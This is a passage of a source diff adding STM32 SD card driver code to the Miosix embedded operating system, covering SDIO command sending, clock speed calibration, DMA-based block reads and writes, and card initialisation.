interpreted as ACMD + if((r.getResponse() & (1<<5))==0) + return CmdResult(cc & 0x3f,CmdResult::ACMDFail); + } else DBG("CMD%d\n",cc & 0x3f); + + //Send command + cc &= 0x3f; + unsigned int command=SDIO_CMD_CPSMEN | static_cast(cc); + if(cc!=CMD0) command |= SDIO_CMD_WAITRESP_0; //CMD0 has no response + if(cc==CMD2) command |= SDIO_CMD_WAITRESP_1; //CMD2 has long response + if(cc==CMD9) command |= SDIO_CMD_WAITRESP_1; //CMD9 has long response + SDIO->ARG=arg; + SDIO->CMD=command; + + //CMD0 has no response, so wait until it is sent + if(cc==CMD0) + { + for(int i=0;i<500;i++) + { + if(SDIO->STA & SDIO_STA_CMDSENT) + { + SDIO->ICR=ICR_FLAGS_CLR;//Clear flags + return CmdResult(cc,CmdResult::Ok); + } + delayUs(1); + } + SDIO->ICR=ICR_FLAGS_CLR;//Clear flags + return CmdResult(cc,CmdResult::Timeout); + } + + //Command is not CMD0, so wait a reply + for(int i=0;i<500;i++) + { + unsigned int status=SDIO->STA; + if(status & SDIO_STA_CMDREND) + { + SDIO->ICR=ICR_FLAGS_CLR;//Clear flags + if(SDIO->RESPCMD==cc) return CmdResult(cc,CmdResult::Ok); + else return CmdResult(cc,CmdResult::RespNotMatch); + } + if(status & SDIO_STA_CCRCFAIL) + { + SDIO->ICR=SDIO_ICR_CCRCFAILC; + return CmdResult(cc,CmdResult::CRCFail); + } + if(status & SDIO_STA_CTIMEOUT) break; + delayUs(1); + } + SDIO->ICR=SDIO_ICR_CTIMEOUTC; + return CmdResult(cc,CmdResult::Timeout); +} + +unsigned short Command::rca=0; + +// +// Class ClockController +// + +/** + * \internal + * This class controls the clock speed of the SDIO peripheral. It originated + * from a previous version of this driver, where the SDIO was used in polled + * mode instead of DMA mode, but has been retained to improve the robustness + * of the driver. + */ +class ClockController +{ +public: + + /** + * \internal. Set a low clock speed of 400KHz or less, used for + * detecting SD/MMC cards. This function as a side effect enables 1bit bus + * width, and disables clock powersave, since it is not allowed by SD spec. + */ + static void setLowSpeedClock() + { + clockReductionAvailable=0; + // No hardware flow control, SDIO_CK generated on rising edge, 1bit bus + // width, no clock bypass, no powersave. + // Set low clock speed 400KHz + SDIO->CLKCR=CLOCK_400KHz | SDIO_CLKCR_CLKEN; + SDIO->DTIMER=240000; //Timeout 600ms expressed in SD_CK cycles + } + + /** + * \internal + * Automatically select the data speed. This routine selects the highest + * sustainable data transfer speed. This is done by binary search until + * the highest clock speed that causes no errors is found. + * This function as a side effect enables 4bit bus width, and clock + * powersave. + */ + static void calibrateClockSpeed(SDIODriver *sdio); + + /** + * \internal + * Since clock speed is set dynamically by binary search at runtime, a + * corner case might be that of a clock speed which results in unreliable + * data transfer, that sometimes succeeds, and sometimes fail. + * For maximum robustness, this function is provided to reduce the clock + * speed slightly in case a data transfer should fail after clock + * calibration. To avoid inadvertently considering other kind of issues as + * clock issues, this function can be called only MAX_ALLOWED_REDUCTIONS + * times after clock calibration, subsequent calls will fail. This will + * avoid other issues causing an ever decreasing clock speed. + * \return true on success, false on failure + */ + static bool reduceClockSpeed(); + + /** + * \internal + * Read and write operation do retry during normal use for robustness, but + * during clock claibration they must not retry for speed reasons. This + * member function returns 1 during clock claibration and MAX_RETRY during + * normal use. + */ + static unsigned char getRetryCount() { return retries; } + +private: + /** + * Set SDIO clock speed + * \param clkdiv speed is SDIOCLK/(clkdiv+2) + */ + static void setClockSpeed(unsigned int clkdiv); + + static const unsigned int SDIOCLK=48000000; //On stm32f2 SDIOCLK is always 48MHz + static const unsigned int CLOCK_400KHz=118; //48MHz/(118+2)=400KHz + #ifdef OVERRIDE_SD_CLOCK_DIVIDER_MAX + //Some boards using SDRAM cause SDIO TX Underrun occasionally + static const unsigned int CLOCK_MAX=OVERRIDE_SD_CLOCK_DIVIDER_MAX; + #else //OVERRIDE_SD_CLOCK_DIVIDER_MAX + static const unsigned int CLOCK_MAX=0; //48MHz/(0+2) =24MHz + #endif //OVERRIDE_SD_CLOCK_DIVIDER_MAX + + #ifdef SD_ONE_BIT_DATABUS + ///\internal Clock enabled, bus width 1bit, clock powersave enabled. + static const unsigned int CLKCR_FLAGS=SDIO_CLKCR_CLKEN | SDIO_CLKCR_PWRSAV; + #else //SD_ONE_BIT_DATABUS + ///\internal Clock enabled, bus width 4bit, clock powersave enabled. + static const unsigned int CLKCR_FLAGS=SDIO_CLKCR_CLKEN | + SDIO_CLKCR_WIDBUS_0 | SDIO_CLKCR_PWRSAV; + #endif //SD_ONE_BIT_DATABUS + + ///\internal Maximum number of calls to IRQreduceClockSpeed() allowed + static const unsigned char MAX_ALLOWED_REDUCTIONS=1; + + ///\internal value returned by getRetryCount() while *not* calibrating clock. + static const unsigned char MAX_RETRY=10; + + ///\internal Used to allow only one call to reduceClockSpeed() + static unsigned char clockReductionAvailable; + + ///\internal value returned by getRetryCount() + static unsigned char retries; +}; + +void ClockController::calibrateClockSpeed(SDIODriver *sdio) +{ + //During calibration we call readBlock() which will call reduceClockSpeed() + //so not to invalidate calibration clock reduction must not be available + clockReductionAvailable=0; + retries=1; + + DBG("Automatic speed calibration\n"); + unsigned int buffer[512/sizeof(unsigned int)]; + unsigned int minFreq=CLOCK_400KHz; + unsigned int maxFreq=CLOCK_MAX; + unsigned int selected; + while(minFreq-maxFreq>1) + { + selected=(minFreq+maxFreq)/2; + DBG("Trying CLKCR=%d\n",selected); + setClockSpeed(selected); + if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) + minFreq=selected; + else maxFreq=selected; + } + //Last round of algorithm + setClockSpeed(maxFreq); + if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) + { + DBG("Optimal CLKCR=%d\n",maxFreq); + } else { + setClockSpeed(minFreq); + DBG("Optimal CLKCR=%d\n",minFreq); + } + + //Make clock reduction available + clockReductionAvailable=MAX_ALLOWED_REDUCTIONS; + retries=MAX_RETRY; +} + +bool ClockController::reduceClockSpeed() +{ + DBGERR("clock speed reduction requested\n"); + //Ensure this function can be called only a few times + if(clockReductionAvailable==0) return false; + clockReductionAvailable--; + + unsigned int currentClkcr=SDIO->CLKCR & 0xff; + if(currentClkcr==CLOCK_400KHz) return false; //No lower than this value + + //If the value of clockcr is low, increasing it by one is enough since + //frequency changes a lot, otherwise increase by 2. + if(currentClkcr<10) currentClkcr++; + else currentClkcr+=2; + + setClockSpeed(currentClkcr); + return true; +} + +void ClockController::setClockSpeed(unsigned int clkdiv) +{ + #ifndef SD_KEEP_CARD_SELECTED + SDIO->CLKCR=clkdiv | CLKCR_FLAGS; + #else //SD_KEEP_CARD_SELECTED + SDIO->CLKCR=clkdiv | CLKCR_FLAGS | SDIO_CLKCR_HWFC_EN; + #endif //SD_KEEP_CARD_SELECTED + //Timeout 600ms expressed in SD_CK cycles + SDIO->DTIMER=(6*SDIOCLK)/((clkdiv+2)*10); +} + +unsigned char ClockController::clockReductionAvailable=false; +unsigned char ClockController::retries=ClockController::MAX_RETRY; + +// +// Data send/receive functions +// + +/** + * \internal + * Wait until the card is ready for data transfer. + * Can be called independently of the card being selected. + * \return true on success, false on failure + */ +static bool waitForCardReady() +{ + //The card may remain busy for up to 500ms and there appears to be no way + //to set an interrupt to wait until it becomes ready again. We can't just + //poll for that long as if a high priority thread is stuck polling all lower + //priority threads block, so we are forced to do a sleep. The initial value + //of 2ms was found to be impacting performance excessively, so we take + //advantage of high resolution timers by sleeping for 200us, and fallback to + //the previous value only for slow configurations + #if !defined(__CODE_IN_XRAM) + const long long sleepTime=200000; + #else + const long long sleepTime=2000000; + #endif + long long timeout=getTime()+1500000000; //Timeout 1.5 second + do { + CmdResult cr=Command::send(Command::CMD13,Command::getRca()<<16); + if(cr.validateR1Response()==false) return false; + //Bit 8 in R1 response means ready for data. + if(cr.getResponse() & (1<<8)) return true; + Thread::nanoSleep(sleepTime); + } while(getTime()ICR=ICR_FLAGS_CLR; + #if (defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7)) && SD_SDMMC==2 + DMA2->LIFCR = DMA_LIFCR_CTCIF0 + | DMA_LIFCR_CTEIF0 + | DMA_LIFCR_CDMEIF0 + | DMA_LIFCR_CFEIF0; + #else + DMA2->LIFCR = DMA_LIFCR_CTCIF3 + | DMA_LIFCR_CTEIF3 + | DMA_LIFCR_CDMEIF3 + | DMA_LIFCR_CFEIF3; + #endif + + driverError=false; + dmaTransferError=false; + sdioTransferError=false; + dmaFlags=sdioFlags=0; + waiting=Thread::getCurrentThread(); + + //Select DMA transfer size based on buffer alignment. Best performance + //is achieved when the buffer is aligned on a 4 byte boundary + switch(reinterpret_cast(buffer) & 0x3) + { + case 0: return DMA_SxCR_MSIZE_1; //DMA reads 32bit at a time + case 2: return DMA_SxCR_MSIZE_0; //DMA reads 16bit at a time + default: return 0; //DMA reads 8bit at a time + } +} + +/** + * \internal + * Read a given number of contiguous 512 byte blocks from an SD/MMC card. + * Card must be selected prior to calling this function. + * \param buffer, a buffer whose size is 512*nblk bytes + * \param nblk number of blocks to read. + * \param lba logical block address of the first block to read. + */ +static bool multipleBlockRead(unsigned char *buffer, unsigned int nblk, + unsigned int lba) +{ + if(nblk==0) return true; + while(nblk>32767) + { + if(multipleBlockRead(buffer,32767,lba)==false) return false; + buffer+=32767*512; + nblk-=32767; + lba+=32767; + } + if(waitForCardReady()==false) return false; + + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + + unsigned int memoryTransferSize=dmaTransferCommonSetup(buffer); + + //Data transfer is considered complete once the DMA transfer complete + //interrupt occurs, that happens when the last data was written in the + //buffer. Both SDIO and DMA error interrupts are active to catch errors + int32_t t=SDIO_MASK_RXOVERRIE | //Interrupt on rx underrun + SDIO_MASK_TXUNDERRIE | //Interrupt on tx underrun + SDIO_MASK_DCRCFAILIE | //Interrupt on data CRC fail + SDIO_MASK_DTIMEOUTIE; //Interrupt on data timeout + #ifdef SDIO_MASK_STBITERRIE + t|=SDIO_MASK_STBITERRIE; //Interrupt on start bit error + #endif + SDIO->MASK=t; + DMA_Stream->PAR=reinterpret_cast(&SDIO->FIFO); + DMA_Stream->M0AR=reinterpret_cast(buffer); + //Note: DMA_Stream->NDTR is don't care in peripheral flow control mode + DMA_Stream->FCR = DMA_SxFCR_FEIE //Interrupt on fifo error + | DMA_SxFCR_DMDIS //Fifo enabled + | DMA_SxFCR_FTH_0; //Take action if fifo half full + #if (defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7)) && SD_SDMMC==2 + DMA_Stream->CR = (11 << DMA_SxCR_CHSEL_Pos) //Channel 4 (SDIO) + #else + DMA_Stream->CR = DMA_SxCR_CHSEL_2 //Channel 4 (SDIO) + #endif + | DMA_SxCR_PBURST_0 //4-beat bursts read from SDIO + | DMA_SxCR_PL_0 //Medium priority DMA stream + | memoryTransferSize //RAM data size depends on alignment + | DMA_SxCR_PSIZE_1 //Read 32bit at a time from SDIO + | DMA_SxCR_MINC //Increment RAM pointer + | 0 //Peripheral to memory direction + | DMA_SxCR_PFCTRL //Peripheral is flow controller + | DMA_SxCR_TCIE //Interrupt on transfer complete + | DMA_SxCR_TEIE //Interrupt on transfer error + | DMA_SxCR_DMEIE //Interrupt on direct mode error + | DMA_SxCR_EN; //Start the DMA + + SDIO->DLEN=nblk*512; + if(waiting==0) + { + DBGERR("Premature wakeup\n"); + driverError=true; + } + CmdResult cr=Command::send(nblk>1 ? Command::CMD18 : Command::CMD17,lba); + if(cr.validateR1Response()) + { + //Block size 512 bytes, block data xfer, from card to controller + SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DMAEN | SDIO_DCTRL_DTDIR | SDIO_DCTRL_DTEN; + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); + } else sdioTransferError=true; + DMA_Stream->CR=0; + while(DMA_Stream->CR & DMA_SxCR_EN) ; //DMA may take time to stop + SDIO->DCTRL=0; //Disable data path state machine + SDIO->MASK=0; + + // CMD12 is sent to end CMD18 (multiple block read), or to abort an + // unfinished read in case of errors + if(nblk>1 || driverError || sdioTransferError || dmaTransferError) + { + cr=Command::send(Command::CMD12,0); + if(driverError || dmaTransferError || sdioTransferError) + { + // CMD13 is sent to check the real status of the sdio after CMD12 + // and to reset the card in case if it gets stuck in a illegal state + cr=Command::send(Command::CMD13, Command::getRca()<<16); + } + } + if(sdioTransferError || dmaTransferError || cr.validateR1Response()==false) + { + displayBlockTransferError(); + ClockController::reduceClockSpeed(); + return false; + } + + //Read ok, deal with cache coherence + markBufferAfterDmaRead(buffer,nblk*512); + return true; +} + +/** + * \internal + * Write a given number of contiguous 512 byte blocks to an SD/MMC card. + * Card must be selected prior to calling this function. + * \param buffer, a buffer whose size is 512*nblk bytes + * \param nblk number of blocks to write. + * \param lba logical block address of the first block to write. + */ +static bool multipleBlockWrite(const unsigned char *buffer, unsigned int nblk, + unsigned int lba) +{ + if(nblk==0) return true; + while(nblk>32767) + { + if(multipleBlockWrite(buffer,32767,lba)==false) return false; + buffer+=32767*512; + nblk-=32767; + lba+=32767; + } + + //Deal with cache coherence + markBufferBeforeDmaWrite(buffer,nblk*512); + + if(waitForCardReady()==false) return false; + + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + if(nblk>1) + { + CmdResult cr=Command::send(Command::ACMD23,nblk); + if(cr.validateR1Response()==false) return false; + } + + unsigned int memoryTransferSize=dmaTransferCommonSetup(buffer); + + //Data transfer is considered complete once the SDIO transfer complete + //interrupt occurs, that happens when the last data was written to the SDIO + //Both SDIO and DMA error interrupts are active to catch errors + uint32_t t=SDIO_MASK_DATAENDIE | //Interrupt on data end + SDIO_MASK_RXOVERRIE | //Interrupt on rx underrun + SDIO_MASK_TXUNDERRIE | //Interrupt on tx underrun + SDIO_MASK_DCRCFAILIE | //Interrupt on data CRC fail + SDIO_MASK_DTIMEOUTIE; //Interrupt on data timeout + #ifdef SDIO_MASK_STBITERRIE + t|=SDIO_MASK_STBITERRIE; //Interrupt on start bit error + #endif + SDIO->MASK=t; + DMA_Stream->PAR=reinterpret_cast(&SDIO->FIFO); + DMA_Stream->M0AR=reinterpret_cast(buffer); + //Note: DMA_Stream->NDTR is don't care in peripheral flow control mode + //Quirk: not enabling DMA_SxFCR_FEIE because the SDIO seems to generate + //a spurious fifo error. The code was tested and the transfer completes + //successfully even in the presence of this fifo error + DMA_Stream->FCR = DMA_SxFCR_DMDIS //Fifo enabled + | DMA_SxFCR_FTH_1 //Take action if fifo full + | DMA_SxFCR_FTH_0; +#if (defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7)) && SD_SDMMC==2 + DMA_Stream->CR = (11 << DMA_SxCR_CHSEL_Pos) // Channel 4 (SDIO) +#else + DMA_Stream->CR = DMA_SxCR_CHSEL_2 // Channel 4 (SDIO) +#endif + | DMA_SxCR_PBURST_0 //4-beat bursts write to SDIO + | DMA_SxCR_PL_0 //Medium priority DMA stream + | memoryTransferSize //RAM data size depends on alignment + | DMA_SxCR_PSIZE_1 //Write 32bit at a time to SDIO + | DMA_SxCR_MINC //Increment RAM pointer + | DMA_SxCR_DIR_0 //Memory to peripheral direction + | DMA_SxCR_PFCTRL //Peripheral is flow controller + | DMA_SxCR_TEIE //Interrupt on transfer error + | DMA_SxCR_DMEIE //Interrupt on direct mode error + | DMA_SxCR_EN; //Start the DMA + + SDIO->DLEN=nblk*512; + if(waiting==0) + { + DBGERR("Premature wakeup\n"); + driverError=true; + } + CmdResult cr=Command::send(nblk>1 ? Command::CMD25 : Command::CMD24,lba); + if(cr.validateR1Response()) + { + //Block size 512 bytes, block data xfer, from card to controller + SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DMAEN | SDIO_DCTRL_DTEN; + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); + } else sdioTransferError=true; + DMA_Stream->CR=0; + while(DMA_Stream->CR & DMA_SxCR_EN) ; //DMA may take time to stop + SDIO->DCTRL=0; //Disable data path state machine + SDIO->MASK=0; + + // CMD12 is sent to end CMD25 (multiple block write), or to abort an + // unfinished write in case of errors + if(nblk>1 || driverError || sdioTransferError || dmaTransferError) + { + cr=Command::send(Command::CMD12,0); + if(driverError || dmaTransferError || sdioTransferError) + { + // CMD13 is sent to check the real status of the sdio after CMD12 + // and to reset the card in case if it gets stuck in a illegal state + cr=Command::send(Command::CMD13,Command::getRca()<<16); + } + } + if(sdioTransferError || dmaTransferError || cr.validateR1Response()==false) + { + displayBlockTransferError(); + ClockController::reduceClockSpeed(); + return false; + } + return true; +} + +// +// Class CardSelector +// + +#ifndef SD_KEEP_CARD_SELECTED +/** + * \internal + * Simple RAII class for selecting an SD/MMC card an automatically deselect it + * at the end of the scope. + */ +class CardSelector +{ +public: + /** + * \internal + * Constructor. Selects the card. + * The result of the select operation is available through its succeded() + * member function + */ + explicit CardSelector() + { + success=Command::send( + Command::CMD7,Command::getRca()<<16).validateR1Response(); + } + + /** + * \internal + * \return true if the card was selected, false on error + */ + bool succeded() { return success; } + + /** + * \internal + * Destructor, ensures that the card is deselected + */ + ~CardSelector() + { + Command::send(Command::CMD7,0); //Deselect card. This will timeout + } + +private: + bool success; +}; +#endif //SD_KEEP_CARD_SELECTED + +// +// Initialization helper functions +// + +/** + * \internal + * Initialzes the SDIO peripheral in the STM32 + */ +static void initSDIOPeripheral() +{ + { + //Doing read-modify-write on RCC->APBENR2 and gpios, better be safe + GlobalIrqLock lock; + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOCEN + | RCC_AHB1ENR_GPIODEN + | RCC_AHB1ENR_DMA2EN; + RCC_SYNC(); + RCC->APB2ENR |= RCC_APB2ENR_SDIOEN; + RCC_SYNC(); + #if (defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7)) && SD_SDMMC==2 + sdD0::mode(Mode::ALTERNATE); + sdD0::alternateFunction(11); + #ifndef SD_ONE_BIT_DATABUS + sdD1::mode(Mode::ALTERNATE); + sdD1::alternateFunction(11); + sdD2::mode(Mode::ALTERNATE); + sdD2::alternateFunction(10); + sdD3::mode(Mode::ALTERNATE); + sdD3::alternateFunction(10); + #endif // SD_ONE_BIT_DATABUS + sdCLK::mode(Mode::ALTERNATE); + sdCLK::alternateFunction(11); + sdCMD::mode(Mode::ALTERNATE); + sdCMD::alternateFunction(11); + #else + sdD0::mode(Mode::ALTERNATE); + sdD0::alternateFunction(12); + #ifndef SD_ONE_BIT_DATABUS + sdD1::mode(Mode::ALTERNATE); + sdD1::alternateFunction(12); + sdD2::mode(Mode::ALTERNATE); + sdD2::alternateFunction(12); + sdD3::mode(Mode::ALTERNATE); + sdD3::alternateFunction(12); + #endif // SD_ONE_BIT_DATABUS + sdCLK::mode(Mode::ALTERNATE); + sdCLK::alternateFunction(12); + sdCMD::mode(Mode::ALTERNATE); + sdCMD::alternateFunction(12); + #endif + + #if (defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7)) && SD_SDMMC==2 + IRQregisterIrq(lock,DMA2_Stream0_IRQn,SDDMAirqImpl); + #else + IRQregisterIrq(lock,DMA2_Stream3_IRQn,SDDMAirqImpl); + #endif + IRQregisterIrq(lock,SDIO_IRQn,SDirqImpl); + } + + SDIO->POWER=0; //Power off state + delayUs(1); + SDIO->CLKCR=0; + SDIO->CMD=0; + SDIO->DCTRL=0; + #if defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7) + SDIO->ICR=0x4005ff; + #else + SDIO->ICR=0xc007ff; + #endif + SDIO->POWER=SDIO_POWER_PWRCTRL_1 | SDIO_POWER_PWRCTRL_0; //Power on state + //This delay is particularly important: when setting the POWER register a + //glitch on the CMD pin happens. This glitch has a fast fall time and a slow + //rise time resembling an RC charge with a ~6us rise time. If the clock is + //started too soon, the card sees a clock pulse while CMD is low, and + //interprets it as a start bit. No, setting POWER to powerup does not + //eliminate the glitch. + delayUs(10); + ClockController::setLowSpeedClock(); + //Wait at least 74 clock cycles before first command + Thread::nanoSleep(250000); +} + +/** + * \internal + * Detect if the card is an SDHC, SDv2, SDv1, MMC + * \return Type of card: (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC + * or Invalid if card detect failed. + */ +static CardType detectCardType() +{ + const int INIT_TIMEOUT=200; //200*10ms= 2 seconds + CmdResult r=Command::send(Command::CMD8,0x1aa); + if(r.validateError()) + { + //We have an SDv2 card connected + if(r.getResponse()!=0x1aa) + { + DBGERR("CMD8 validation: voltage range fail\n"); + return Invalid; + } + for(int i=0;i SDIODriver::instance() +{ + static KernelMutex m; + static intrusive_ref_ptr instance; + Lock l(m); + if(!instance) instance=new SDIODriver(); + return instance; +} + +ssize_t SDIODriver::readBlock(void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + Lock l(mutex); + DBG("SDIODriver::readBlock(): nSectors=%d\n",nSectors); + bool goodBuffer=BufferConverter::isGoodBuffer(buffer); + if(goodBuffer==false) DBG("Buffer inside CCM\n"); + + for(int i=0;i(buffer), + nSectors,lba)==false) error=true; + } else { + //Fallback code to work around CCM + unsigned char *tempBuffer=reinterpret_cast(buffer); + unsigned int tempLba=lba; + for(unsigned int j=0;j0) DBGERR("Read: required %d retries\n",i); + return size; + } + } + return -EBADF; +} + +ssize_t SDIODriver::writeBlock(const void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + Lock l(mutex); + DBG("SDIODriver::writeBlock(): nSectors=%d\n",nSectors); + bool goodBuffer=BufferConverter::isGoodBuffer(buffer); + if(goodBuffer==false) DBG("Buffer inside CCM\n"); + + for(int i=0;i(buffer), + nSectors,lba)==false) error=true; + } else { + //Fallback code to work around CCM + const unsigned char *tempBuffer= + reinterpret_cast(buffer); + unsigned int tempLba=lba; + for(unsigned int j=0;j0) DBGERR("Write: required %d retries\n",i); + return size; + } + } + return -EBADF; +} + +int SDIODriver::ioctl(int cmd, void* arg) +{ + DBG("SDIODriver::ioctl()\n"); + if(cmd!=IOCTL_SYNC) return -ENOTTY; + Lock l(mutex); + //Note: no need to select card, since status can be queried even with card + //not selected. + return waitForCardReady() ? 0 : -EFAULT; +} + +SDIODriver::SDIODriver() : Device(Device::BLOCK) +{ + initSDIOPeripheral(); + + // This is more important than it seems, since CMD55 requires the card's RCA + // as argument. During initalization, after CMD0 the card has an RCA of zero + // so without this line ACMD41 will fail and the card won't be initialized. + Command::setRca(0); + + //Send card reset command + CmdResult r=Command::send(Command::CMD0,0); + if(r.validateError()==false) return; + + cardType=detectCardType(); + if(cardType==Invalid) return; //Card detect failed + if(cardType==MMC) return; //MMC cards currently unsupported + + // Now give an RCA to the card. In theory we should loop and enumerate all + // the cards but this driver supports only one card. + r=Command::send(Command::CMD2,0); + //CMD2 sends R2 response, whose CMDINDEX field is wrong + if(r.getError()!=CmdResult::Ok && r.getError()!=CmdResult::RespNotMatch) + { + r.validateError(); + return; + } + r=Command::send(Command::CMD3,0); + if(r.validateR6Response()==false) return; + Command::setRca(r.getResponse()>>16); + DBG("Got RCA=%u\n",Command::getRca()); + if(Command::getRca()==0) + { + //RCA=0 can't be accepted, since it is used to deselect cards + DBGERR("RCA=0 is invalid\n"); + return; + } + + //Lastly, try selecting the card and configure the latest bits + { + #ifndef SD_KEEP_CARD_SELECTED + CardSelector selector; + if(selector.succeded()==false) return; + #else //SD_KEEP_CARD_SELECTED + //Select card here, and keep it selected indefinitely + r=Command::send(Command::CMD7,Command::getRca()<<16); + if(r.validateR1Response()==false) return; + #endif //SD_KEEP_CARD_SELECTED + + r=Command::send(Command::CMD13,Command::getRca()<<16);//Get status + if(r.validateR1Response()==false) return; + if(r.getState()!=4) //4=Tran state + { + DBGERR("CMD7 was not able to select card\n"); + return; + } + + #ifndef SD_ONE_BIT_DATABUS + r=Command::send(Command::ACMD6,2); //Set 4 bit bus width + if(r.validateR1Response()==false) return; + #endif //SD_ONE_BIT_DATABUS + + if(cardType!=SDHC) + { + r=Command::send(Command::CMD16,512); //Set 512Byte block length + if(r.validateR1Response()==false) return; + } + } + + // Now that card is initialized, perform self calibration of maximum + // possible read/write speed. This as a side effect enables 4bit bus width. + ClockController::calibrateClockSpeed(this); + + DBG("SDIO init: Success\n"); +} + +} //namespace miosix diff --git a/miosix/arch/drivers/sdmmc/stm32f2_f4_f7_sd.h b/miosix/arch/drivers/sdmmc/stm32f2_f4_f7_sd.h new file mode 100644 index 000000000..7689ce8c7 --- /dev/null +++ b/miosix/arch/drivers/sdmmc/stm32f2_f4_f7_sd.h @@ -0,0 +1,61 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "kernel/sync.h" +#include "filesystem/devfs/devfs.h" +#include "filesystem/ioctl.h" + +namespace miosix { + +/** + * Driver for the SDIO peripheral in STM32F2 and F4 microcontrollers + */ +class SDIODriver : public Device +{ +public: + /** + * \return an instance to this class, singleton + */ + static intrusive_ref_ptr instance(); + + virtual ssize_t readBlock(void *buffer, size_t size, off_t where); + + virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + virtual int ioctl(int cmd, void *arg); +private: + /** + * Constructor + */ + SDIODriver(); + + KernelMutex mutex; +}; + +} //namespace miosix diff --git a/miosix/arch/drivers/sdmmc/stm32h7_sd.cpp b/miosix/arch/drivers/sdmmc/stm32h7_sd.cpp new file mode 100644 index 000000000..c73743f82 --- /dev/null +++ b/miosix/arch/drivers/sdmmc/stm32h7_sd.cpp @@ -0,0 +1,1251 @@ +/*************************************************************************** + * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "stm32h7_sd.h" +#include "interfaces/bsp.h" +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" +#include "interfaces/cache.h" +#include "interfaces/delays.h" +#include "kernel/thread.h" +#include "board_settings.h" //For sdVoltage and SD_ONE_BIT_DATABUS definitions +#include +#include +#include + +//Note: enabling debugging might cause deadlock when using sleep() or reboot() +//The bug won't be fixed because debugging is only useful for driver development +///\internal Debug macro, for normal conditions +// #define DBG iprintf +#define DBG(x,...) do {} while(0) +///\internal Debug macro, for errors only +// #define DBGERR iprintf +#define DBGERR(x,...) do {} while(0) + +#if SD_SDMMC==1 +#define SDMMC SDMMC1 +#define RCC_APB2ENR_SDMMCEN RCC_APB2ENR_SDMMC1EN +#define SDMMC_IRQn SDMMC1_IRQn +#elif SD_SDMMC==2 +#define SDMMC SDMMC2 +#define RCC_APB2ENR_SDMMCEN RCC_APB2ENR_SDMMC2EN +#define SDMMC_IRQn SDMMC2_IRQn +#else +#error SD_SDMMC undefined or not in range +#endif + + +constexpr int ICR_FLAGS_CLR=0x5ff; + +namespace miosix { + +static volatile bool transferError; ///< \internal DMA or SDMMC transfer error +static Thread *waiting; ///< \internal Thread waiting for transfer +static unsigned int sdmmcFlags; ///< \internal SDMMC status flags + +/** + * \internal + * SDMMC interrupt handler + */ +void SDirqImpl() +{ + sdmmcFlags=SDMMC->STA; + if(sdmmcFlags & (SDMMC_STA_RXOVERR | + SDMMC_STA_TXUNDERR | SDMMC_STA_DTIMEOUT | SDMMC_STA_DCRCFAIL)) + transferError=true; + + SDMMC->ICR=ICR_FLAGS_CLR; //Clear flags + + if(!waiting) return; + waiting->IRQwakeup(); + waiting=nullptr; +} + +/* + * Operating voltage of device. It is sent to the SD card to check if it can + * work at this voltage. Range *must* be within 28..36 + * Example 33=3.3v + */ +//static const unsigned char sdVoltage=33; //Is defined in board_settings.h +static const unsigned int sdVoltageMask=1<<(sdVoltage-13); //See OCR reg in SD spec + +/** + * \internal + * Possible state of the cardType variable. + */ +enum CardType +{ + Invalid=0, ///<\internal Invalid card type + MMC=1<<0, ///<\internal if(cardType==MMC) card is an MMC + SDv1=1<<1, ///<\internal if(cardType==SDv1) card is an SDv1 + SDv2=1<<2, ///<\internal if(cardType==SDv2) card is an SDv2 + SDHC=1<<3 ///<\internal if(cardType==SDHC) card is an SDHC +}; + +///\internal Type of card. +static CardType cardType=Invalid; + +//SD card GPIOs +#if SD_SDMMC==2 +typedef Gpio sdD0; +typedef Gpio sdD1; 